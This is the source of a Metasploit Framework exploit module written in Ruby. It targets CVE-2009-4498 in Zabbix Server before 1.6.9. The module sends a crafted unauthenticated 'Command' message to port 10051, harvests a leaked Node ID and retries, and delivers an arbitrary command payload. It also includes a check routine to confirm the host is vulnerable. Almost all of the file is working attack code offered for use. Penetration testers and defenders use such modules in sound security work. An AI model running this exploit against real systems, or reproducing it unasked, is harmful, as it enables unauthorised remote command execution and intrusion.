## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Zabbix Server Arbitrary Command Execution', 'Description' => %q{ This module abuses the "Command" trap in Zabbix Server to execute arbitrary commands without authentication. By default the Node ID "0" is used, if it doesn't work, the Node ID is leaked from the error message and exploitation retried. According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04. }, 'Author' => [ 'Nicob <nicob[at]nicob.net>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2009-4498' ], [ 'OSVDB', '60965' ], [ 'BID', '37989' ], [ 'EDB', '10432' ], [ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet', # *_perl, *_python and *_ruby work if they are installed } }, 'Targets' => [ [ 'Zabbix 1.6.7', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 10 2009' )) register_options( [ Opt::RPORT(10051), ], self.class) end def send_command(sock, node_id, cmd) host_id = Rex::Text.rand_text_numeric(3) msg = "Command\255" msg << "#{node_id}\255" msg << "#{host_id}\255" msg << "#{cmd}\n" sock.put(msg) res = sock.get_once return res end def check peer = "#{rhost}:#{rport}" node_id = 0 clue = Rex::Text.rand_text_alpha(rand(5)+5) cmd = "echo #{clue}" connect print_status("#{peer} - Sending 'Command' request...") res = send_command(sock, node_id, cmd) disconnect if res print_status(res) if res =~ /#{clue}/ return Exploit::CheckCode::Vulnerable elsif res =~ /-1/ and res=~ /NODE (\d*)/ node_id = $1 print_good("#{peer} - Node ID #{node_id} discovered") else return Exploit::CheckCode::Safe end else # No response return Exploit::CheckCode::Safe end # Retry with the good node_id connect print_status("#{peer} - Sending 'Command' request with discovered Node ID...") res = send_command(sock, node_id, cmd) disconnect if res and res =~ /#{clue}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit peer = "#{rhost}:#{rport}" node_id = 0 cmd = payload.encoded connect print_status("#{peer} - Sending 'Command' request...") res = send_command(sock, node_id, cmd) disconnect if res and res =~ /-1/ and res=~ /NODE (\d*)/ # Retry with the good node_id node_id = $1 print_good("#{peer} - Node ID #{node_id} discovered") connect print_status("#{peer} - Sending 'Command' request with discovered Node ID...") res = send_command(sock, node_id, cmd) disconnect end # Read command output from socket if cmd/unix/generic payload was used if (datastore['CMD']) if res and res =~ /\x30\xad/ print_good("#{peer} - Command executed successfully") print_status("Output:\n#{res.split("\x30\xad").last}") else print_error("#{peer} - Failed to execute the command") end end end end